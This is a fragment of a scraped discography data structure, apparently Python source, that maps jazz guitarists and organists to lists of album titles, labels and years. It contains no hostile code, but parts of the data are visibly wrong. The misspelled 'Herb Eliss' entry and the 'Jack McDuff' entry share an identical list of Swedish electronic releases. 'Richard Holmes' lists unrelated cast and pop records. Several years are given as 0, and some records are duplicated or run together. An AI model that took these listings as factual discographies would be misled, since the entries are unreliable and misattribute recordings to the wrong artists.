Jazz--1959','\\\nSoul Blues--Prestige--1960','\\\nAt The Five Spot Cafe--Blue Note--1960','\\\nWeaver Of Dreams--Columbia--1961','\\\nMontuno Blues--Prestige--1962','\\\nHome Cookin\\'--Blue Note--1961','\\\nKenny Burrell & John Coltrane--New Jazz--1962','\\\nI Thought About You--Prestige--1963','\\\nMidnight Blue--Blue Note--1963','\\\nBlue Bash!--Verve Records--1963','\\\nFreight Trane--Prestige--1963','\\\nDon\\'t Cry Baby / Drum Boogie--Prestige--1963','\\\nHere\\'s Love--Argo (6)--1963','\\\n!!! More !!! (Theme From Mondo Cane)--Verve Records--1963','\\\nTheme From Any Number Can Win--Verve Records--1963','\\\nAll Day Long--Prestige--1957','\\\nConfessin\\' The Blues--Riverside Records--1963','\\\nBluesey Burrell--Moodsville--1963','\\\nJazz Interplay--Prestige--1964','\\\nAll Night Long--Prestige--1957','\\\nSoul Call--Prestige--1964','\\\nRose Of Tangier --Fortune Records (2)--1955','\\\nCrash!--Prestige--1964'),'\\\nBarney Kessel':('\\\nBarney Kessel--Contemporary Records--1954','\\\nKessel Plays Standards. Barney Kessel, Vol. 2--Contemporary Records--1956','\\\nSwing Guitars--Norgran Records--1955','\\\nVol. 3, To Swing Or Not To Swing--Contemporary Records--1955','\\\nEasy Like--Contemporary Records--1956','\\\nGerry Mulligan / Paul Desmond--Fantasy--1956','\\\nLighthouse At Laguna--Contemporary Records--1956','\\\nYou\\'re My One And Only Love / Honey Rock--Verve Records--1957','\\\nWest Coast Jazz Concert--Regent--1957','\\\nMusic To Listen To Barney Kessel By--Contemporary Records--1957','\\\nThe Poll Winners--Contemporary Records--1957','\\\nGoodbye To Love--Edison International--1959','\\\nModern Jazz Performances From Bizet\\'s Opera Carmen--Contemporary Records--1959','\\\nSome Like It Hot--Contemporary Records--1959','\\\nFour!--Contemporary Records--1959','\\\nPoll Winners Three!--Contemporary Records--1960','\\\nBossa Nova--Reprise Records--1961','\\\nLet\\'s Cook!--Contemporary Records--1963','\\\nUpper Classmen--Interlude (2)--1959','\\\nContemporary Latin Rhythms--Reprise Records--1963','\\\nBarney Kessel\\'s Swingin\\' Party At Contemporary--Contemporary Records--1963','\\\nDiamonds / T.V. Commercials--Reprise Records--1963','\\\nErroll Garner - Wardell Gray - Barney Kessell - Gerald Wiggins--Crown Records (2)--1963','\\\nOscar Peterson Plays Cole Porter--Clef Records--1953','\\\nOn Fire--Emerald Records (17)--1965','\\\nSarah + 2--Roulette--1965','\\\nSwinging Easy!--Black Lion Records--1971','\\\nHair Is Beautiful--Atlantic--1969','\\\nKessel\\'s Kit--RCA Victor--1969','\\\nFeeling Free--Contemporary Records--1969','\\\nReflections In Rome--RCA Victor--1969','\\\nFrank Mills / Quail Bait--Polydor--1969','\\\nI Remember Django--Black Lion Records--0','\\\nLimehouse Blues--Freedom--1972'),'\\\nHerb Eliss':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nJoe Pass':('\\\nSounds Of Synanon--Pacific Jazz--1962','\\\nCatch Me!--Pacific Jazz--1963','\\\nBrasamba!--Pacific Jazz--1963','\\\nFor Django--Pacific Jazz--1964','\\\nFolk \\'N Flute--World Pacific Records--1964','\\\n12 String Guitar (Great Motion Picture Themes)--World Pacific Records--1964','\\\nA Sign Of The Times--World Pacific Records--1966\\:(I Can\\'t Get No) Satisfaction / Play With Fire--World Pacific Records--1966','\\\nThe Stones Jazz--World Pacific Records--1967','\\\nSimplicity--World Pacific Records--1967','\\\nGuitar Interludes--Discovery Records--1969','\\\nIntercontinental--MPS Records--1971','\\\nBetter Days--Gwyn--1971','\\\nSeven, Come Eleven (From Their Live Performance At The Concord Summer Festival)--Concord Jazz--1974','\\\nTake Love Easy--Pablo Records--1974','\\\nThe Trio--Pablo Records--1974','\\\nTwo For The Road--Pablo Records--1974','\\\nJazz/Concord--Concord Jazz--1974','\\\nVirtuoso--Pablo Records--1974','\\\nOscar Peterson Et Joe Pass À La Salle Pleyel--Pablo Records--1975','\\\nAt The Montreux Jazz Festival 1975--Pablo Records--1975','\\\nHappy Time--Pablo Records--1975','\\\nPortraits Of Duke Ellington--Pablo Records--1975','\\\nPorgy & Bess--Pablo Records--1976','\\\nFitzgerald & Pass...Again--Pablo Records--1976','\\\nThe Big 3--Pablo Records--1976','\\\nMontreux \\'77--Pablo Live--1977','\\\nThe Giants--Pablo Records--1977','\\\nVirtuoso #2--Pablo Records--1977','\\\nVirtuoso #3--Pablo Records--1978','\\\nTudo Bem!--Pablo Records--1978','\\\nI Remember Charlie Parker--Pablo Today--1979','\\\nChops--Pablo Records--1979','\\\nFine And Mellow--Pablo Records--1979','\\\nQuadrant--Pablo Records--1979','\\\nThe Paris Concert: Salle Pleyel, 1978--Pablo Live--1979','\\\nDigital III At Montreux--Pablo Live--1980','\\\nTivoli Gardens, Copenhagen, Denmark--Pablo Live--1980','\\\nAll Too Soon Quadrant Toasts Duke Ellington--Pablo Records--1980','\\\nIt Takes A Whole Lot Of Human Feeling--Groove Merchant--1974','\\\nNorthsea Nights--Pablo Live--1980','\\\nCheckmate--Pablo Records--1981','\\\nLive In The Netherlands--Pablo Live--1982','\\\nSkol--Pablo Live--1982'),'\\\nJim Hall':('\\\nGrand Encounter: 2 Degrees East - 3 Degrees West--Pacific Jazz--1956','\\\nA Girl And A Guitar--United Artists Records--0','\\\nStreet Swingers--World Pacific Records--1958','\\\nThe Swingers!--World Pacific Records--1959','\\\nGood Friday Blues: The Modest Jazz Trio--Pacific Jazz--1960','\\\nJazz Abstractions--Atlantic--1961','\\\nUndercurrent--United Artists Records--1962','\\\nJazz Guitar--Pacific Jazz--1957','\\\nInteraction--Atlantic--1963','\\\nTo Sweden With Love--Atlantic--1964','\\\nLive At The Half-Note--Atlantic--1964','\\\nBossa Antigua--RCA Victor--1965','\\\nIntermodulation--Verve Records--1966','\\\nThe Jimmy Giuffre 3--Atlantic--1957','\\\nIt\\'s Nice To Be With You--MPS Records--1969','\\\nTwo Jims And Zoot--Mainstream Records--1964','\\\n...Where Would I Be?--Milestone (4)--1972','\\\nJim Hall Live!--A&M Records--1975','\\\nConcierto--CTI Records--1975','\\\nCommitment--Horizon (3)--1976','\\\nEasy Living--RCA Victor--1966','\\\nFirst Place Again Playboy--Warner Bros. Records--1960','\\\nJazz Impressions Of Japan--Paddle Wheel--1980','\\\nJim Hall / Red Mitchell--Artists House--1978','\\\nBig Blues--CTI Records--1979','\\\nFolk Jazz--Contemporary Records--1961','\\\nA Different Kind Of Blues--EMI--1980','\\\nConcierto De Aranjuez--Electric Bird--1981','\\\nIt\\'s A Breeze--Angel Records--1981','\\\nLive At The Village Vanguard Volume 2--Video Artists International--1982','\\\nStudio Trieste--CTI Records--1982','\\\nFirst Edition--Concord Jazz--1982','\\\nMusic Of Bill Evans--Landmark Records (3)--1986','\\\nThe Quartets--RCA--1986','\\\nJim Hall\\'s Three--Concord Jazz--1986','\\\nPower Of Three--Blue Note--1987','\\\nThe Complete Recordings Of The Paul Desmond Quartet With Jim Hall--Mosaic Records (2)--1987','\\\nClassics In Jazz--Epic--1988','\\\nJim Hall--Fabbri Editori--1989'),'\\\nTal Farlow':('\\\nVolume 2--Blue Note--1953','\\\nThe Artistry Of Tal Farlow--Norgran Records--1954','\\\nThe Tal Farlow Album--Norgran Records--1954','\\\nA Recital By Tal Farlow--Norgran Records--1955','\\\nSwing Guitars--Norgran Records--1955','\\\nThe Interpretations Of Tal Farlow--Norgran Records--1955','\\\nThe Tal Farlow Album--Karusell--1955','\\\nMove!--Savoy Records--1956','\\\nThe Swinging Guitar Of Tal Farlow--Verve Records--1957','\\\nTal--Verve Records--1956','\\\nThis Is Tal Farlow--Verve Records--1958','\\\nThe Guitar Artistry Of Tal Farlow--Verve Records--1959','\\\nTal Farlow Plays The Music Of Harold Arlen--Verve Records--1968','\\\nThe Return Of Tal Farlow / 1969--Prestige--1970','\\\nGuitar Player--Prestige--1974','\\\nFuerst Set--Xanadu Records--1975','\\\nThe Red Norvo Trio With Tal Farlow And Charles Mingus--Savoy Records--1976','\\\nSecond Set--Xanadu Records--1977','\\\nTrinity--CBS/Sony--1977','\\\nA Sign Of The Times--Concord Jazz--1977','\\\nChromatic Palette--Concord Jazz--1981','\\\nOn Stage--Concord Jazz--1981','\\\nEarly Tal--Blue Note--1983','\\\nThe Legendary Tal Farlow--Concord Jazz--1985','\\\nAll Strings Attached--Verve Records--1987','\\\nStandard Recitals--FD Music--1991','\\\nTal Farlow--Verve Records--1995','\\\nChance Meeting--Guitarchives--1997','\\\nAutumn Leaves--Concord Records--2003','\\\nThe Complete Verve Tal Farlow Sessions--Mosaic Records (2)--2004','\\\nRed Norvo With Strings--Fantasy--1956'),'\\\nAttila Zoller':('\\\nDoldinger In Süd Amerika--Philips--1965','\\\nDreams And Explorations--Riverside Records--1965','\\\nZoller Koller Solal--SABA--1966','\\\nMetamorphosis--Prestige--1966','\\\nKatz & Maus--SABA--1967','\\\nZo-Ko-Ma--MPS Records--1968','\\\nGypsy Cry--Embryo Records--1970','\\\nデュオローグ Duologue--Express--1971','\\\nA Path Through Haze--MPS Records--1972','\\\nWe\\'ll Remember Komeda--MPS Records--1973','\\\nThe Legendary Oscar Pettiford--Black Lion Records--1975','\\\nDream Bells--Enja Records--1976','\\\nCommon Cause--Enja Records--1979','\\\nTrinity--L+R Records--1979','\\\nThe K & K 3 In New York--L+R Records--1980','\\\nI Giganti Del Jazz Vol. 55--Curcio--0','\\\nConjunction--Inner City Records--1981','\\\nOvercome (Live At The Leverkusen Jazz Festival)--Enja Records--1988','\\\nWhen It\\'s Time--Enja Records--1995','\\\nThingin--hat ART--1996','\\\nLive Highlights \\'92--Lady Hamilton Productions--2004','\\\nJazz Soundtracks--Sonorama--2013','\\\nJazz Wien - Berlin--Jazztone (2)--1956','\\\nGary Crosby--World Pacific Records--1957','\\\nThe Oscar Pettiford Quartet--Ex Libris--1958','\\\nAll The Things You Are / Vienna Blues--Bertelsmann Schallplattenring--1959','\\\nMr. Pettiford\\'s Convalescence--Bertelsmann Schallplattenring--1960'),'\\\nPat Martino':('\\\nEl Hombre--Prestige--1967','\\\nEast!--Prestige--1968','\\\nStrings!--Prestige--1968','\\\nBaiyina (The Clear Evidence)--Prestige--1968','\\\nDesperado--Prestige--1970','\\\nSunny--Muse Records--1972','\\\nThe Visit!--Cobblestone--1972','\\\nLive!--Muse Records--1974','\\\nConsciousness--Muse Records--1974','\\\nWe\\'ll Be Together Again--Muse Records--1976','\\\nJoyous Lake--Warner Bros. Records--1976','\\\nStarbright--Warner Bros. Records--1976','\\\nExit--Muse Records--1977','\\\nSingle Action--Muse Records--1980','\\\nIntroducing Bobby Pierce--Cobblestone--1972','\\\nThe Return--Muse Records--1987','\\\nBronx Tale--Bellaphon--1994','\\\nThe Maker--Paddle Wheel--1995','\\\nNew View!--Columbia--1967','\\\nAll Sides Now--Blue Note--1997','\\\nTrudy Pitts With Pat Martino--Prestige--1998','\\\nStone Blue--Blue Note--1998','\\\nFirst Light--32 Jazz--1999','\\\nGivin\\' Away The Store 3--32 Jazz--1999','\\\nLive At Yoshi\\'s--Blue Note--2001','\\\nAdventures in Jazz--Walt Disney Records--2001','\\\nThink Tank--Blue Note--2003','\\\nRemember: A Tribute To Wes Montgomery--Blue Note--2006','\\\nFormidable--HighNote Records, Inc.--2017'),'\\\nMick Goodrick':('\\\nIn Pas(s)ing--ECM Records--1979','\\\nThe Ballad Of The Fallen--ECM Records--1983','\\\nSatyric Horn--ITI Records--1984','\\\nBodies--Innowo--1990','\\\nBiorhythms--CMP Records--1990','\\\nArrival--RCA--1992','\\\nLive At The Jazz Standard--Material Records--2010','\\\nWoody--Cadet--1970','\\\nThe New Quartet--ECM Records--1973','\\\nSeven Songs For Quartet And Chamber Orchestra--ECM Records--1974','\\\nSorcery--Prestige--1974','\\\nIn The Public Interest--Polydor--1974','\\\nRing--ECM Records--1974','\\\nDouble Exposure--Chess--1976','\\\nDreams So Real - Music Of Carla Bley--ECM Records--1976','\\\nThe Jazz Rock Album--Polydor--1979','\\\nEasy As Pie--ECM Records--1981','\\\nThe Ballad Of The Fallen--ECM Records--1983','\\\nWorks--ECM Records--1984','\\\nIrresistible Forces--MCA Impulse!--1987','\\\nAudio-Visualscapes--Impulse!--1988','\\\nBy Any Means Necessary--JMT--1989','\\\nDream Keeper--DIW--1990','\\\nIn A Different Light--Bluemoon Recordings--1990','\\\nECM Spectrum Vol. 1--ECM Records--1987','\\\nLive At Town Hall, Vol. 2--Musicmasters--1991','\\\nLive At Town Hall Volumes 1 & 2--Jazz Heritage--1991','\\\nUn Uomo In Blues--CGD--1991','\\\nSotto \\'O Sole--CGD--1991'),'\\\nLarry Coryell':('\\\nThe Dealer--Impulse!--1965','\\\nThe Dealer--Impulse!--1966','\\\nOut Of Sight And Sound--ABC Records--1967','\\\nLady Coryell--Vanguard Apostolic--1969','\\\nCoryell--Vanguard Apostolic--1969','\\\nSpaces--Vanguard Apostolic--1970','\\\nLook Toward A Dream--Project 3 Records--1968','\\\nYou Can\\'t Make Love Alone--Philips--1971','\\\nAt The Village Gate--Vanguard--1971','\\\nGypsy Queen--Flying Dutchman--1971','\\\nBarefoot Boy--Flying Dutchman--1971','\\\nFairyland--Mega Records (4)--1971','\\\nKnirsch--MPS Records--1972','\\\nOffering--Vanguard--1972','\\\nThe Real Great Escape--Vanguard--1973','\\\nIntroducing The Eleventh House--Vanguard--1974','\\\nThe Funky Waltz--Vanguard--1974','\\\nThe Essential--Vanguard--1975','\\\nThe Restful Mind--Vanguard--1975','\\\nLevel One--Arista--1975','\\\nSome Greasy Stuff--Arista--1975','\\\nPlanet End--Vanguard--1975','\\\nThe Lion And The Ram--Arista--1976','\\\nAspects--Arista--1976','\\\nBasics--Vanguard--1976','\\\nGary Burton / Larry Coryell--RCA Victor--1977','\\\nRock \\'N Roll Lovers / Reconciliation--Atlantic--1977','\\\nBack Together Again--Atlantic--1977','\\\nTwo For The Road--Arista--1977','\\\nTwin-House--Elektra--1977','\\\nEuropean Impressions--Arista Novus--1978','\\\nSolos-Duos-Trios--MPS Records--1978','\\\nAt Montreux--Vanguard--1978','\\\nSplendid--Elektra--1978','\\\nStanding Ovation - Solo--Mood Records--1978','\\\nDifference--Egg--1978','\\\nBetter Than Live--Direct-Disk Labs--1978','\\\nTributaries--Novus--1979','\\\nFlic Ou Voyou (Bande Originale Du Film De Georges Lautner)--Cobra--1979','\\\nReturn--Vanguard--1979','\\\nBlue Montreux--Arista--1979','\\\nYoung Django--MPS Records--1979','\\\nChet Baker / Wolfgang Lackerschmid--Sandra Music Productions--1980','\\\nLive !--Elektra--1980','\\\nMusaic--Flying Fish (2)--1980'),'\\\nJohn McLaughlin':('\\\nExtrapolation--Marmalade--1969','\\\nThings We Like--Polydor--1970','\\\nDevotion--Douglas--1970','\\\nWhere Fortune Smiles--Dawn (7)--1971','\\\nThe Inner Mounting Flame--Columbia--1971','\\\nMy Goal\\'s Beyond--Douglas--1971','\\\nLove Devotion Surrender--Columbia--1973','\\\nIn Retrospect--Polydor--1974','\\\nJoe Farrell Quartet--CTI Records--1970','\\\nVisions Of The Emerald Beyond--Columbia--1975','\\\nInner Worlds--CBS--1976','\\\nShakti With John McLaughlin--Columbia--1976','\\\nA Handful Of Beauty--CBS--1977','\\\nNatural Elements--Columbia--1977','\\\nElectric Guitarist--Columbia--1978','\\\nThe Mahavishnu Orchestra - John McLaughlin--AMIGA--1979','\\\nElectric Dreams--Columbia--1979','\\\nThe Best Of--CBS--1980','\\\nFriday Night In San Francisco--CBS--1981','\\\nBelo Horizonte--Warner Bros. Records--1981','\\\nMusic Spoken Here--Warner Bros. Records--1983','\\\nMeeting Of The Spirits Live At The Royal Albert Hall, 1979--Alpha Centauri Entertainment--2003','\\\nPassion, Grace & Fire--Philips--1983','\\\nAdventures In Radioland--Sound Service--1987','\\\nGreatest Hits--CBS--1990','\\\nMediterranean Concerto--CBS--1990','\\\nThe Collection--Castle Communications--1991','\\\nTime Remembered--Verve Records--1993','\\\nJohn McLaughlin--Verve Records--1993','\\\nTokyo Live--Verve Records--1994'),'\\\nGrant Green':('\\\nGreen Street--Blue Note--1961','\\\nGrant\\'s First Stand--Blue Note--1961','\\\nImages--Jazzland--1962','\\\nGrantstand--Blue Note--1962','\\\nSunday Mornin\\'--Blue Note--1962','\\\nThe Mode--Jazzland--1962','\\\nThe Latin Bit--Blue Note--1963','\\\nFeelin\\' The Spirit--Blue Note--1963','\\\nTalkin\\' About--Blue Note--1964','\\\nAm I Blue--Blue Note--1964','\\\nIdle Moments--Blue Note--1964','\\\nI Want To Hold Your Hand--Blue Note--1965','\\\nHis Majesty, King Funk--Verve Records--1965','\\\nThe Cantaloupe Woman / Daddy Grapes--Verve Records--1965','\\\nI Want To Hold Your Hand--Blue Note--1965','\\\nReaching Out--Jazztime--1961','\\\nStreet Of Dreams--Blue Note--1967','\\\nGoin\\' West--Blue Note--1969','\\\nSookie, Sookie / Time To Remember--Blue Note--1970','\\\nDoes Anybody Really Know What Time It Is? / Never Can Say Goodbye--Blue Note--1970','\\\nAlive!--Blue Note--1970','\\\nCarryin\\' On--Blue Note--1970','\\\nGreen Is Beautiful--Blue Note--1970','\\\nAin\\'t It Funky Now--Blue Note--1970','\\\nVisions--Blue Note--1971','\\\nThe Battle--Blue Note--1971','\\\nWindjammer--Blue Note--1972','\\\nShades Of Green--Blue Note--1972','\\\nAfro Party / Father\\'s Lament--Blue Note--1972','\\\nLive At The Lighthouse--Blue Note--1972','\\\nThe Final Comedown - Original Motion Picture Soundtrack--Blue Note--1972','\\\nIron City!--Cobblestone--1972','\\\nThe Main Attraction--Kudu--1976','\\\nEasy--Versatile--1978','\\\nGooden\\'s Corner--Blue Note--1979','\\\nMatador--Blue Note--1979','\\\nSolid--Blue Note--1979','\\\nI Giganti Del Jazz Vol. 55--Curcio--0','\\\nNigeria--Blue Note--1980','\\\nOleo--Blue Note--1980','\\\nRemembering--Blue Note--1980','\\\nBorn To Be Blue--Blue Note--1985'),'\\\nGeorge Benson':('\\\nThe New Boss Guitar Of George Benson--Prestige--1964','\\\nJust Another Sunday--Prestige--1964','\\\nDon\\'t Let Me Lose This Dream (Part 1)--A&M Records--1969','\\\nShape Of Things To Come--A&M Records--1968','\\\nShape Of Things To Come--A&M Records--1968','\\\nGiblet Gravy--Verve Records--1968','\\\nGoodies--Verve Records--1968','\\\nMy Woman\\'s Good To Me / Jackie, All--A&M Records--1969','\\\nThe Other Side Of Abbey Road--A&M Records--1970','\\\nTell It Like It Is--A&M Records--1969','\\\nBeyond The Blue Horizon--CTI Records--1971','\\\nWhite Rabbit--CTI Records--1972','\\\nBody Talk--CTI Records--1973','\\\nWillow Weep For Me--CBS--0','\\\nLove Ballad --Warner Bros. Records--1979','\\\nBad Benson--CTI Records--1974','\\\nSupership--CTI Records--1975','\\\nG.B. Book--CBS/Sony--1978','\\\nHarlem Underground--Paul Winley Records--1976','\\\nThis Masquerade / Breezin\\'--Warner Bros. Records--1976','\\\nThis Masquerade--Warner Bros. Records--1976','\\\nBreezin\\' / Six To Four--Warner Bros. Records--1976','\\\nBenson Burner--Columbia--1976','\\\nBlue Benson--Polydor--1976','\\\nBenson & Farrell--CTI Records--1976','\\\nSummertime/2001 / Theme From Good King Bad--CTI Records--1976','\\\nBreezin\\'--Warner Bros. Records--1976','\\\nIn Concert - Carnegie Hall--CTI Records--1976','\\\nGood King Bad--CTI Records--1976','\\\nThe Best Of George Benson--CTI Records--1977','\\\nGeorge Benson / Jack McDuff--Prestige--1977','\\\nNature Boy--Warner Bros. Records--1977','\\\nGonna Love You More--Warner Bros. Records--1977','\\\nSummertime--CBS--1977','\\\nThe Greatest Love Of All / Ali\\'s Theme--Arista--1977','\\\nThe World Is A Ghetto--Warner Bros. Records--1977','\\\nEverything Must Change / The Wind And I--Warner Bros. Records--1977','\\\nMuhammad Ali In The Greatest (Original Soundtrack)--Arista--1977'),'\\\nJerry Hahn':('\\\nMoses--Fantasy--1973','\\\nAra-Be-In--Changes (2)--1967','\\\nRecorded Live At The Monterey Jazz Festival--Columbia--0','\\\nThe 2nd John Handy Album--Columbia--1966','\\\nAra-Be-In--Changes (2)--1967','\\\nThrob--Atlantic--1969','\\\nCountry Roads & Other Places--RCA Victor--1969','\\\nGood Vibes--Atlantic--1970','\\\nThe Jerry Hahn Brotherhood--Columbia--1970','\\\nPrimordial Lovers--Reprise Records--1970','\\\nThe Ghost Opera Company--Not On Label (Ghost Opera Self-released)--1971','\\\nPaul Simon--Columbia--1972','\\\nSail On Flying Dutchman--Biograph--1976','\\\nI Giganti Del Jazz Vol. 6--Curcio--1980','\\\nThe Talk Of The Town--Enja Records--1993','\\\nGary Burton & Keith Jarrett / Gary Burton: Throb--Rhino Records (2)--1994','\\\nThe Spirit Of Christmas--Burnside Records--1994','\\\nFalling Off The Roof--Atlantic--1996','\\\nBallads In Blue--Enja Records--1999','\\\nThe Complete Albums Collection--Sony Music--2013','\\\nPaul Simon--Columbia--1972','\\\nFalling Off The Roof--Atlantic--1996','\\\nRecorded Live At The Monterey Jazz Festival--Columbia--0'),'\\\nJimmy Raney':('\\\nJazz Rhythm Records Music Minus One Alto Sax Vol 2--Music Minus One--1951','\\\nVisits Paris--Vogue--1954','\\\nJimmy Raney Quartet Featuring Hal Overton--New Jazz--1954','\\\nJimmy Raney 1955--Prestige--1955','\\\nThe Dual Role Of Bob Brookmeyer--Prestige--1955','\\\nThe Dual Role Of Bob Brookmeyer--Prestige--1956','\\\nJimmy Raney Featuring Bob Brookmeyer--ABC-Paramount--1956','\\\nJimmy Raney In Three Attitudes--ABC-Paramount--1957','\\\nThe Fourmost Guitars--ABC-Paramount--1957','\\\n2 Guitars--Prestige--1957','\\\nJimmy Raney Visits Paris--Dawn (3)--1987','\\\nStreet Swingers--World Pacific Records--1958','\\\nA--Prestige--1958','\\\nEarly Stan--Prestige--1963','\\\nEzz-thetic--New Jazz--1964','\\\nTwo Jims And Zoot--Mainstream Records--1964','\\\nStrings & Swings--Muse Records--1972','\\\nJimmy Raney With Sonny Clark--Vogue--0','\\\nMomentum--MPS Records--1975','\\\nStrings Attached--Choice (7)--1975','\\\nThe Influence--Xanadu Records--1976','\\\nLive In Tokyo--Xanadu Records--1976','\\\nSolo--Xanadu Records--1978','\\\nStolen Moments--SteepleChase--1979','\\\nDuets--SteepleChase--1980','\\\nThe Date--Stil Discothèque--1981','\\\nNardis--SteepleChase--1983','\\\nTogether!--Xanadu Records--1986','\\\nThe Complete Recordings Of The Stan Getz Quintet With Jimmy Raney--Mosaic Records (2)--1990','\\\nHere\\'s That Raney Day--Ahead (2)--0'),'\\\nDoug Raney':('\\\nStolen Moments--SteepleChase--1979','\\\nDuets--SteepleChase--1980','\\\nRaney\\'81--Criss Cross Jazz--1981','\\\nNardis--SteepleChase--1983','\\\nThe Touch Of Your Lips--SteepleChase--0','\\\nIntroducing Doug Raney--SteepleChase--1978','\\\nHi-Fly--SteepleChase--1978','\\\nThe Touch Of Your Lips--SteepleChase--0','\\\nCuttin\\' Loose--SteepleChase--1979','\\\nBernt Rosengren Big Band--Caprice Records--1980','\\\nDaybreak--SteepleChase--1980','\\\nListen--SteepleChase--1981','\\\nThis Is Always--SteepleChase--1982','\\\nI\\'ll Close My Eyes--SteepleChase--1982','\\\nI\\'ve Got The World On A String--SteepleChase--1983','\\\nSomeday My Prince Will Come--SteepleChase--1983','\\\nSurprise Party--SteepleChase--1983','\\\nToo Late To Leave Early--Celebration Records--1984','\\\nMeeting The Tenors--Criss Cross Jazz--1984','\\\nGuitar Guitar Guitar--SteepleChase--1985','\\\nLazy Bird--SteepleChase--1985','\\\nRaney\\'81--Criss Cross Jazz--1981'),'\\\nJimmy Smith':('\\\nAt The Organ, Volume 3--Blue Note--1956','\\\nThe Champ--Blue Note--1956','\\\nAt Club Baby Grand Wilmington, Delaware, Volume 2--Blue Note--1956','\\\nA New Star - A New Sound, Vol. 1--Blue Note--1956','\\\nAt Club Baby Grand Wilmington, Delaware, Volume 1--Blue Note--1956','\\\nI Cover The Waterfront--Blue Note--1956','\\\nA New Star - A New Sound (Volume 2)--Blue Note--1958','\\\nHow High The Moon--Blue Note--1957','\\\nAll Day Long--Blue Note--1957','\\\nA Date With Jimmy Smith, Vol. 1 --Blue Note--1957','\\\nPlays Pretty Just For You--Blue Note--1957','\\\nThere\\'ll Never Be Another You--Blue Note--1957','\\\nJimmy Smith At The Organ (Volume 2)--Blue Note--1957','\\\nJimmy Smith At The Organ, Volume 1--Blue Note--1957','\\\nThe Sounds Of Jimmy Smith--Blue Note--1957','\\\nA Date With Jimmy Smith, Vol. 2--Blue Note--1957','\\\nHouse Party--Blue Note--1958','\\\nGroovin\\' At Smalls\\' Paradise (Volume 1)--Blue Note--1958','\\\nGroovin\\' At Smalls\\' Paradise (Volume 2)--Blue Note--1958','\\\nThe Sermon!--Blue Note--1959','\\\nSee See Rider / Come On Baby--Blue Note--1959','\\\nBack At The Chicken Shack--Blue Note--1960','\\\nCrazy! Baby--Blue Note--1960','\\\nMack The Knife / When Johnny Comes Marching Home--Blue Note--1960','\\\nMidnight Special--Blue Note--1961','\\\nHome Cookin\\'--Blue Note--1961','\\\nMidnight Special--Blue Note--1961','\\\nBashin\\' - The Unpredictable Jimmy Smith--Verve Records--1962','\\\nEverybody Loves My Baby / Ain\\'t She Sweet--Blue Note--1962','\\\nThe Unpredictable Jimmy Smith--Verve Records--1962','\\\nOl\\' Man River / Bashin--Verve Records--1962'),'\\\nLarry Young':('\\\nYoung Blues--New Jazz--1960','\\\nGroove Street--Prestige--1962','\\\nInto Somethin\\'--Blue Note--1964','\\\nUnity--Blue Note--1966','\\\nOf Love And Peace--Blue Note--1966','\\\nContrasts--Blue Note--1967','\\\nHeaven On Earth--Blue Note--1968','\\\nLawrence Of Newark--Perception Records (5)--1973','\\\nLarry Young\\'s Fuel--Arista--1975','\\\nFloating--Arista--1975','\\\nMother Ship--Blue Note--1980','\\\nTestifying--Prestige--1960','\\\nThe Complete Blue Note Recordings Of Larry Young--Mosaic Records (2)--1991','\\\nGumbo!--Prestige--1963','\\\nWild Fire--London House Records--0','\\\nIn Paris The ORTF Recordings--Resonance Records--2016','\\\nGroove Street Parts 1 & 2 --Prestige--0','\\\nClassic Funk Mastercuts Volume 3--Mastercuts--1995','\\\nTestifying--Prestige--1960','\\\nForrest Fire--New Jazz--1960','\\\nSoul Cookin\\'--Argo (6)--1962','\\\nThe Great Gildo / Soulful Piano--Prestige--1964','\\\nTalkin\\' About--Blue Note--1964','\\\nI Want To Hold Your Hand--Blue Note--1965','\\\nI Want To Hold Your Hand--Blue Note--1965','\\\nHappy Girl--SABA--1965','\\\nHis Majesty, King Funk--Verve Records--1965','\\\nStreet Of Dreams--Blue Note--1967','\\\nNatural Soul--Prestige--1968','\\\nEmergency!--Polydor--1969','\\\nEmergency! Volume Two--Polydor--1969','\\\nEmergency! Volume One--Polydor--1969\\:(Turn It Over)--Polydor--1970','\\\nBitches Brew--Columbia--1970','\\\nDevotion--Douglas--1970','\\\nSession In Brass--Session--1970','\\\nOh Susanna / Chevrolet--Columbia--1972','\\\nLove Devotion Surrender--Columbia--1973','\\\nIn Retrospect--Polydor--1974'),'\\\nJack McDuff':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nRichard Holmes':('\\\nOriginal Cast Recording Of Passion Flower Hotel--CBS--1965','\\\nLove, And The World Loves With You--Columbia--1969','\\\nTopol--Kapp Records--1969','\\\nBring Me Sunshine--Columbia--1969','\\\nTheme From The Roads To Freedom--Fly Records (3)--0','\\\nI Understand (Just How You Feel)--EMI--1974','\\\nRagtime With Love--Music For Pleasure--1974','\\\nTwo Faces Of Love--Gold Star--1975','\\\nValmouth--Pye Records--1958','\\\nThe Golden Years Of Gracie Fields--Crest International--1976'),'\\\nJimmy McGriff':('\\\nI\\'ve Got A Woman--Sue Records Inc.--1962','\\\nAll About My Girl / M.G. Blues--Sue Records Inc.--1962','\\\nI\\'ve Got A Woman--Sue Records Inc.--1962','\\\nAll About My Girl--Sue Records Inc.--1962','\\\nJimmy McGriff At The Apollo--Sue Records Inc.--1963','\\\nChristmas With McGriff--Sue Records Inc.--1963','\\\nChristmas With McGriff--Sue Records Inc.--1964','\\\nOne Of Mine--Sue Records Inc.--1963','\\\nThe Last Minute--Sue Records Inc.--1963','\\\nOne Of Mine--Sue Records Inc.--1963','\\\nKiko--Sue Records Inc.--1964','\\\nAt The Organ--Sue Records Inc.--1964','\\\nLonely Ave.--Sue Records Inc.--1964','\\\nTopkapi--Sue Records Inc.--1964','\\\nTopkapi--Sue Records 